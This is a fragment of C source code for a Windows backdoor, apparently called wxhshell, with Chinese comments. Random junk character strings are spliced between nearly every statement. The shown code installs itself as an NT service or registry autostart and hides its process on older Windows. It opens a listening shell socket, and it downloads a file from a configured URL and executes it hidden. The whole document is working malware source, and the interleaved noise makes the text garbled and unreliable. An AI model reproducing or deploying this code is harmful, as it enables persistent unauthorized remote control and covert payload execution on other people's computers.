i,'~Ds hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JI&>w-~D if(hProcess==NULL) return 0; 2Y+*vN s3 pGIeW}2'9 HMODULE hMod; &a`-NRU# char procName[255]; Aq"_hjp unsigned long cbNeeded; NQAnvX;
51j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2B4c:jJ ;VuIQ*@m" CloseHandle(hProcess); L6a8%%` o$-Phl if(strstr(procName,"services")) return 1; // 以服务启动 R/#*~tPi8 V/Q6v
YX return 0; // 注册表启动 W{0:8_EI } zE[c$KPP r
(uM$R$o // 主模块 g@QpqrT int StartWxhshell(LPSTR lpCmdLine) M(|gfsD { L4NC- SOCKET wsl; \c]/4C +/ BOOL val=TRUE; ;[xDc>&("Q int port=0; @:[/uqL struct sockaddr_in door; J=$v+8&. -b{*8(d<I if(wscfg.ws_autoins) Install(); pk/#+r; "%Jx,L\f{ port=atoi(lpCmdLine); oqj3Q
1 982$d<0% if(port<=0) port=wscfg.ws_port; gQ?k}D +LUL-d WSADATA data; &]euN~y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /'I/sWEV )S%mKdOm
$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u7/M>YJ`T setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rdK.*oT door.sin_family = AF_INET; "-hgeQX door.sin_addr.s_addr = inet_addr("127.0.0.1"); k@Hu0x door.sin_port = htons(port); hE=cgO`QU +?c&Gazi if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ki' EO$ closesocket(wsl); &v:iC
u^| return 1; 9Dpmp| } \F>
*d!^C ZFRKh:| if(listen(wsl,2) == INVALID_SOCKET) { i{`>!)U closesocket(wsl); iw#luHcJ return 1; 2Two|E } rGN-jb)T+ Wxhshell(wsl); 9u:MF0:W WSACleanup(); N+r~\[N\9 P$!Ht return 0; -Wmpj r2Q"NVw } (Q@m;i> M0^r!f>O // 以NT服务方式启动 {!-w|&bF VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >6aCBS?2 { _ p?q/-[4 DWORD status = 0; 9
Iw+g]`y* DWORD specificError = 0xfffffff; :!3P4?a *fjarZu serviceStatus.dwServiceType = SERVICE_WIN32; UP,(zKTA serviceStatus.dwCurrentState = SERVICE_START_PENDING; 's
e9|: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J+9D/VT serviceStatus.dwWin32ExitCode = 0; HHX9QebiST serviceStatus.dwServiceSpecificExitCode = 0; A\=:h AQ serviceStatus.dwCheckPoint = 0; 0AaN serviceStatus.dwWaitHint = 0; %~6+=*(\ "r[Ea| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tmm\V7sJ if (hServiceStatusHandle==0) return; p1 o?^A& wo?C7,-x status = GetLastError(); [rQ#skf if (status!=NO_ERROR) |C5i3? { !x,3k\M serviceStatus.dwCurrentState = SERVICE_STOPPED; AKS(WNGEp serviceStatus.dwCheckPoint = 0; yX8F^iv[ serviceStatus.dwWaitHint = 0; YN\
QwV serviceStatus.dwWin32ExitCode = status; !{SEm"J^ serviceStatus.dwServiceSpecificExitCode = specificError; $CXqkK<6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); MM^tk{2?. return; .d.7D ]Yn } 1z8.wdWJ} M14pg0Q serviceStatus.dwCurrentState = SERVICE_RUNNING; )of_"gZ$3A serviceStatus.dwCheckPoint = 0; MT0}MMr serviceStatus.dwWaitHint = 0; Vv zd>yII if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6H3_qx } z9VQsC'K P{);$e+b~ // 处理NT服务事件,比如:启动、停止 yLI=&7/e@ VOID WINAPI NTServiceHandler(DWORD fdwControl) d{YhKf#~ { IQH;`+ switch(fdwControl) fA|'}(kH { ^P]: etld9 case SERVICE_CONTROL_STOP: D-[0^
serviceStatus.dwWin32ExitCode = 0; Tvk= NJ serviceStatus.dwCurrentState = SERVICE_STOPPED; X-t4irZ) serviceStatus.dwCheckPoint = 0; U;;Har serviceStatus.dwWaitHint = 0; Qi[T!1 { 'dBzv>ngD SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ad]r )d{ } 4E"qpy \( return; t);5Cw_ case SERVICE_CONTROL_PAUSE: Cu!4ha.e` serviceStatus.dwCurrentState = SERVICE_PAUSED; J H$ break; uz*C`T0:rj case SERVICE_CONTROL_CONTINUE: t[3Upe% serviceStatus.dwCurrentState = SERVICE_RUNNING; >+8mq]8^ break; ?p$WqVN} case SERVICE_CONTROL_INTERROGATE: Phx/9Kk break; a8dR. }; 3?fya8W< SetServiceStatus(hServiceStatusHandle, &serviceStatus); tl#hCy } |>[w$ Wqy8ZgSC // 标准应用程序主函数 bG\1<:6B int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {0e5<"i { !vG._7lPp >.B+xn= // 获取操作系统版本 6.ap^9AD OsIsNt=GetOsVer(); n+xM)) GetModuleFileName(NULL,ExeFile,MAX_PATH); mv+.5X SLBKXj| // 从命令行安装 !lHsJ)t if(strpbrk(lpCmdLine,"iI")) Install(); o2%"Luf< y 5=J6a2. // 下载执行文件 !rrjA$P<v if(wscfg.ws_downexe) { u} KiSZxt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I</Nmgf WinExec(wscfg.ws_filenam,SW_HIDE); ECl[v%R/6 } R4{}ZT 1a%*X UT if(!OsIsNt) { I\4I,ds // 如果时win9x,隐藏进程并且设置为注册表启动 ti'OjoJL HideProc(); &M<431y
StartWxhshell(lpCmdLine); 1f~_# EIC } 6Q\n<&,{ else F= #zy#@. if(StartFromService()) W&r |